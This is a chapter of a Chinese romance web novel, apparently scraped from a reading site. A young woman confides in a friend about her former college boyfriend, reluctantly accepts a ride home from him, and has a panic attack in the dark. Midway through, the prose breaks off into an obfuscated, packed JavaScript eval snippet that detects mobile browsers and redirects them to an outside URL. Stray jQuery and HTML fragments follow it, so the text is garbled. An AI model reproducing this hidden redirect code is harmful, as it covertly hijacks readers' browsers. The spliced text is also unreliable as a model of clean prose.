8. 第 8 章
作品:《今夜有雨》 —08—
“所以,你就这么水灵灵地、毫不留情地、头也不回地,走了?”
“……嗯。”时满眸光闪动,她轻咬下杯中吸管,含糊应了声。
林思渝怔愣一瞬后,单手环胸轻晃下脑袋,似赞赏般的轻“啧”一声:“可以呀满满,出息了,做人就应该这么有种。”
时满没接话,只勾唇扯出一个淡笑,偏头低眸看向锦溪路上繁华的街景。
青石板铺就的小道一侧靠近马路,支着各式各样的小吃摊,此刻摊位的灯光都亮起,暖黄灯光明亮如昼,另一侧则是各式各样的商业门店——
酒吧,奶茶店,烧烤一街通。
时满此刻正在其中一家奶茶店里,二楼靠窗的位置,看下方街景再清楚不过。
暖黄灯光映在她微垂的杏眸间,眸底微光涣散,没有焦点。
明显在发呆。
那声“好久不见”入耳的时候,时满不是没有触动。
她的脚步顿住,原本已经搭在古铜把手上的指骨微微蜷缩,隐隐泛白,要推门的动作也停滞不前。
本该在昨日重逢时就问候的几个字在此刻响起,时满心间情绪复杂难辨。
这几个字包含太多情感了,或许是分别多年后的释然,也或许是再见面的喜悦与想念。
但不知道是当时走廊太过空寂,还是男人的声音太过低哑,江执衍说出那句话的时候,时满莫名从中感受到某种难言的哀伤,以及隐约的庆幸。
她的心底涌上一阵酸涩,在那酸涩蔓延至喉间时推开眼前的门。
酒吧依然热闹非凡,每个人的悲欢并不相通,时满看着昏暗酒吧间来回穿行的人群,指尖有些轻颤。
回到卡座的时候,一众人早就换了其他游戏。
桌面依然摆着原先的转盘,转盘旁多了一副木质骰盅,周边绕了一圈酒液不等量的酒杯。
时满落座的时候,视线扫过江执衍方才坐过的位置,还空着,那个和他一起来的朋友也不在现场,看来不知道什么时候也离开了。
那他们应该不会再回来了。
有人问时满要不要加入,他们正在玩“俄罗斯转盘”。
周围实在太吵,嘈杂的音乐声和人声不断地冲击耳膜。
时满摇摇头,她情绪不高,勉强加入也会扫众人的兴。
林思渝被迫加入还喝了好几杯酒,看见时满回来后又继续了两轮,之后找了个借口和时满一起离开了。
此刻坐在奶茶店里,“质问”完时满与江执衍重逢之后的事情,林思渝若有所思。
“满满,你有没有觉得江执衍和从前不一样了?”
时满回神,有些迟钝地的应了声:“什么?”
“以前他多拽多高冷的一个人啊,对什么事情都爱答不理的,今天竟然主动问能不能加入我们。”
“而且,我提的那个问题他竟然那样回答,他可不是会开玩笑的人。”
时满听见林思渝的话,眨眨眼,虽然她也觉得他不是会开那种玩笑的人,但……
他也亲口说那是他“瞎说的”了。
“我问过他了,他说那是开玩笑的。”
“啊?”林思渝向后靠在沙发椅背上,随后又想到了什么,恍然道,“我知道了。”
“满满,你还记得他说话之前你在做什么吗?”
时满:??
她……当时正在思考怎么跳过林思渝的问题让其他人换另外的问题。
“哎呀,你当时正准备接陈季铭递过来的酒啊,”林思渝说道,“陈季铭还叫你姐姐,靠你超近。”
“你是没注意到,江执衍身上的气场那时都变了,我离他那么远都觉得凉飕飕的。”
“然后他就截了那杯酒,他来之后你就没正眼看过他一眼,但他说了那样的话之后,你的眼神一下就落到他身上了。”
“肯定是这样……难怪我看见他笑了。”
时满:“哈?”
林思渝却像是发现了什么了不得的秘密,连连摇头:“这个男人,真心机啊。”
时满想说,江执衍经常那样漫不经心的笑,她也看见了。
但接触到林思渝仿佛发现新大陆一般的激动神情,还是没忍心打断她天马行空的想象。
等林思渝从自己的思绪中冷静下来,看向对面坐着的时满。
她正轻慢地吮吸手中的奶茶,不知在想些什么,清亮的杏眸有些出神,白炽灯光照射在瓷白小脸上,皮肤依旧细腻,吹弹可破。
林思渝以手掩唇轻咳一下,还是问出了那个问题:“满满,那你现在……和江执衍还有可能吗?”
时满眼睫一颤,吮吸的动作停住,奶茶中的芋圆从舌尖滑过,被抵到齿间咬碎。
好半晌,她才开口:“为什么这么问?”
林思渝:“就……当我好奇吧。”
时满将手中的奶茶放到桌上,不紧不慢地开口:“没可能吧,我和他……以后就算再见,也只能是陌生人的关系。”
“曾经喜欢过的陌生人。”时满补充道。
林思渝仔细打量时满脸上的神情,没从她脸上窥探出什么其他的情绪。
时满刚才那番话就好像是她真的不在乎了一样。
但林思渝轻叹一声——
真是这样的话,那为什么一开始要装不认识呢?真正的释然可不是这样的。
“其实满满,我一直想不通你大学为什么会喜欢江执衍?他明明那么难追……”
林思渝还记得那是大二下半学期的某一天,时满回宿舍之后,斗志昂扬地宣布说她要追江执衍。
当时宿舍其他三人都十分吃惊,不知道时满说的人和她们知道的是不是同一个人,于是纷纷询问:
“是建筑学院的那个江执衍吗?”
“是论坛最想得到的男神top1的江执衍吗?”
“是那个拒绝起人来毫不手软的江执衍吗?”
时满那时还没有现在这么冷淡理智,睁着一双圆润的杏眼,目光灼灼地问:“你们都知道他啊?”
其他三人:……这个学校很少有人不知道他吧。
大学时的江执衍冷漠又疏离,从入学就备受瞩目,向他表白的人不断,但这人拒绝起人来毫不留情,以至于后来敢明面上追他的人所剩无几。
所以时满当时追江执衍的情景京大人尽皆知,甚至还有人打赌时满到底能不能摘到这朵高岭之花。
不过最后,这朵高岭之花真让时满摘到了。
虽然没有人知道原因,但两人在一起的日子意外让人羡慕。
就在所有人都以为两人能长久走下去时,转折发生在大四临近毕业时——
彼时突然消失两个月的江执衍重新出现后,竟和时满提了分手。
当时不知道是谁传了出去,京大论坛传得沸沸扬扬,各种说辞都有。
旁人像是看热闹一般讨论,她是真切见过时满那段消沉的日子的。
……
“因为……他曾经带着一束光照进过我的世界里。”时满喃喃道。
“啊?什么?”时满的声音本就不大,林思渝又在想以前的事情,没听见她刚才到底说了什么。
时满微微一笑:“没什么,走么?”
.
室外夜色黑沉,仿若漆黑幕布一般,抬头能看见幕布上的阴云密布。
街边的霓虹不停歇地闪烁,小吃摊背后有一处出租车停靠点,其后是宽阔的马路。
时满和林思渝到停靠点时,只剩一辆出租车了。
林思渝喝了酒,明天还得上班,两人住的地方不顺路,时满便让林思渝先回。
时满在街边等另一波出租到来的间隙里,顺便扫视周边的夜景,从小吃街看到宽阔的路面,再到远处林立的建筑。
些微晃神,距她离开北城再回来中间隔了多少年呢?
天空突然飘起雨点,雨滴轻敲在暴露在外的纤瘦脖颈上,时满还是不自禁哆嗦一下。
北城的昼夜温差真的很大。
尤其下雨的时候,更严重。
不消片刻,雨势稍大,原本聚在小吃摊的人群纷纷向街边的出租车停靠点快步走来,生怕又遇见昨夜那般的暴雨。
瞬间,一众人拥挤在一处,伸长脖子张望出租什么时候到。
时满被人群推搡着,站在最前方,脚步有些不稳,方才略有些感伤的心情在推搡中消失殆尽。
眼疾手快的人实在太多,时满眼睁睁看着已经到跟前的好几辆出租被其他人迅雷不及掩耳地抢走。
时满……有些懵。
他们是怎么做到一秒上车的。
下一辆出租距离停靠口不远了,时满在一众人之间,鼓鼓腮帮子,莫名起了点斗志,她也要做到这种神速。
时满睁圆了杏眼,正一瞬不瞬地盯着越来越近的车,跃跃欲试。
眼看车子距离不远了。
偏偏这时,一辆纯黑魅影从一旁斜插进来,稳稳停在时满面前。
出租车紧急刹停,司机探出头正准备叫骂两声,却在看清车标之后悻悻缩回去。
玛德,骂不起,没撞上都算好事了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720936|144870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
魅影漆黑的车身在微微飘雨的夜间,尊贵与奢华的气质丝毫不减,愈加神秘勾人。
路人正好奇这样一辆豪车怎么会停在锦溪路这条小街上时,副驾的车窗降了下来。
时满暗暗咬牙,她一点也不好奇这辆魅影里坐的人是谁,但是这人挡住了她抢车的劲头。
她有些气恼。
于是时满垂眸,透过车框就要看坏她好事的到底是谁。
结果和驾驶位上那个她没料想到的人对上视线,时满微滞。
……江执衍。
“时小满,上车。”江执衍的一只手随意搭在方向盘侧边,掀眼看着时满。
时满:……
时满没说话,以一种沉默的姿态表达自己的抗拒。
偏偏街道这侧的停靠点有白色防护栏围挡着,前一辆车不走,后一辆车也载不了乘客。
雨滴还在不紧不慢地轻敲着,后面的出租车小心翼翼地发出一声闷响,像是在看前车脸色一般,连抗议都不敢大声讲出来。
“时小满,快点吧,你应该也不想耽误大家的时间。”
车里的人不疾不徐出声。
时满轻咬下下唇,不情不愿拉开副驾驶的车门。
江执衍看了眼冷着脸在副驾落座的人,刚才还在想怎么能让她坐到副驾呢,没想到她随意拉开车门就成全了他的想法。
看来是刚才生闷气了,没留意。
江执衍知道这种情况下时满一定会上自己的车的,她没变,所以他了解,才趁机胁迫她上车。
……就当是他卑劣吧,她在身边就好。
江执衍勾唇无声笑了笑,有些苦涩。
时满的发丝被雨点打得微湿,贴在脸颊两侧,江执衍将面巾纸递过去:“擦擦。”
随后发动车子。
车开出去一段路程,没有人说话,车厢静默无声,略有些尴尬。
时满正准备靠在座椅上假寐一会儿,以此度过这尴尬的一段路程。
毕竟前不久她刚对他的重逢问候充耳不闻。
偏偏这人在此刻开口:“时小满,住哪儿?“
时满一愣,是忘记说她的地址了,怪不得觉得这段路不太对呢。
见时满久久没有吭声,江执衍以为时满是不想和自己扯上一点关系,他轻笑一声,眼眸却暗淡下来:“怎么?怕我居心叵测。”
时满轻声嘀咕“怕什么”,她又不是不知道他的为人。
就算多年未见,有些骨子里的东西还是不会变的。
都已经坐上车了,时满也不矫情,在车载导航上输入自己的住址。
江执衍瞥一眼屏幕,低声笑笑:“累了就休息会儿,到了叫你。”
时满闷声”嗯“了声,将脸转向靠窗那一侧,轻阖上眼。
睡是睡不着的,但装睡是可以的。
车开得很平稳,时满装睡也差点睡着,等语音播报“目的地在您附近”时,时满睁开眼睛。
她抬手将晃到前面的头发别到耳后,临下车前冲驾驶座上的男人说:“谢谢,车费待会儿发你。”
说罢便推开车门,也不去看男人是什么反应。
时满住的民宿在一条小巷处,是一个很有设计感的小院,她来时租下了整个民宿。
小巷亮着微弱的路灯,时满走到民宿大门前正准备从包里取出钥匙时,身侧的路灯灯光突然闪动几下,一阵微弱的电流声划过,灯光霎时熄灭,周围陷入一片漆黑中。
时满顿时浑身僵硬,心脏跳动的频率加快,仿佛下一秒就要从胸膛间蹦出来似的。
她蹲下身,呼吸急促而紊乱,黑暗如潮水一般扼住她的鼻腔、喉咙,时满快要喘不过气来。
眼泪顺着着眼角成滴滑落,胸口处的恐慌难以遏制,泪眼模糊中,时满伸手想抓住点什么,可是什么都没有。
世界一片漆黑,透不进一点光,心底的绝望疯狂蔓生。
毫无用处的眼泪不断滑落,时满什么都看不见,什么也听不到。
只有恐惧将她牢牢纠缠,拽她去更深的黑暗。
清冽的雪松木香不知什么时候缠绕在鼻息之间,一束光将黑暗撕开一道裂缝,强硬挤进时满眼中。
感觉逐渐回笼,有人正拥着她,轻慢抚着她的脊背低声说着“别怕,我在。”
时满睁开眼,眼睫上沾染泪珠,将落未落,楚楚可怜。
她看着单膝跪地蹲在自己面前的江执衍。眸光破碎,往日的伪装在恐惧中散去。
她开口,语调颤抖:“江执衍,你当年为什么离开?”

